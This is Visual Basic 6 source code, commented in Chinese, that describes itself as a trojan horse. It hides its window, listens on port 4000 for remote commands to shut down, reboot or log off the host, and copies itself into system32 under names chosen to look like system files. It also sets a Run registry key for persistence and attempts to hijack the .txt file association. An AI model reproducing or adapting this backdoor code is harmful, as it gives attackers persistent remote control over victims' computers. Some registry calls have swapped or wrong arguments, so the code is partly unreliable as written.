'主窗体:Frm_Winsock 'Winsock控件:G_Server
Private Sub Form_Load() '隐藏进程 ' '读取主机IP HostIP = G_Server.LocalIP '读取主机名 HostName = G_Server.LocalHostName With Me '设置本地默认端口 .G_Server.LocalPort = 4000 '监听 .G_Server.Listen '隐藏窗体 .Hide End With
'获取木马所在目录 Dim sCurrentPath As String sCurrentPath = App.Path & "\" & App.EXEName & ".exe" Debug.Print sCurrentPath Dim sSystemDir As String sSystemDir = "C:\winnt\system32" On Error Resume Next '复制文件成系统目录下的Systrsy.exe FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe" On Error Resume Next '复制文件成系统目录下的txtView.exe FileCopy sCurrentPath, sSystemDir & "\txtView.exe"
'调用 Call StartupGroup Call WriteToTxt
'判断程序是否下在运行 If App.PrevInstance Then '如果已经运行就退出。 End End If End Sub
Private Sub G_Server_ConnectionRequest(ByVal requestID As Long) With Me If .G_Server.State <> sckClosed Then G_Server.Close .G_Server.Accept requestID End With End Sub
Private Sub G_Server_DataArrival(ByVal bytesTotal As Long) Dim strData As String With Me ' 接收客户请求的信息 .G_Server.GetData strData Select Case strData Case "Exit" '关机 Call ExitWindowsEx(EWX_SHUTDOWN, 0) Case "Reboot" '重启 Call ExitWindowsEx(EWX_REBOOT, 0) Case "Logoff" '注销 Call ExitWindowsEx(EWX_LOGOFF, 0) End Select End With End Sub
'modApi模块
'声明全局变量 Public HostIP As Variant Public HostName As Variant '声明API函数 Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, _ ByVal dwReserved As Long) _ As Long Public Const EWX_LOGOFF = 0 Public Const EWX_REBOOT = 2 Public Const EWX_SHUTDOWN = 1 Public Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long Public Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, _ ByVal lpSubKey As String, _ phkResult As Long) _ As Long Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, _ ByVal lpvalueName As String, _ ByVal Reserved As Long, _ ByVal dwType As Long, _ lpData As Any, _ ByVal cbData As Long) _ As Long Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, _ ByVal lpSubKey As String, _ phkResult As Long) _ As Long Public Const REG_BINARY = 3 Public Const REG_SZ = 1 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const HKEY_CLASSES_ROOT = &H80000000
Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, _ ByVal bScan As Byte, _ ByVal dwFlags As Long, _ ByVal dwExtraInfo As Long)
'写到注册表启动组中的过程 Public Sub StartupGroup() Dim skey As String Dim result As Long Dim hKeyID As Long Dim skeyVal As String '启动组中的键,找一个与系统文件相近的。 skey = "Systrsy" '木马文件的路径,可以用GetSystemDirectory来取得系统路径。 skeyVal = "C:\winnt\system32\systrsy.exe" result = RegOpenKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hKeyID) If result = 0 Then Debug.Print hKeyID & "/n" result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skey) + 1) Debug.Print result & "/n" End If End Sub
'与txt文件进行关联 Public Sub WriteToTxt() Dim result As Long Dim hKeyID As Long Dim skey As String Dim skeyVal As String skey = "txtfile\shell\open\command" skeyVal = "C:\windows\system\txtView.exe" result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID) If result = 0 Then Debug.Print hKeyID & "/n" result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1) Debug.Print result End If
End Sub

|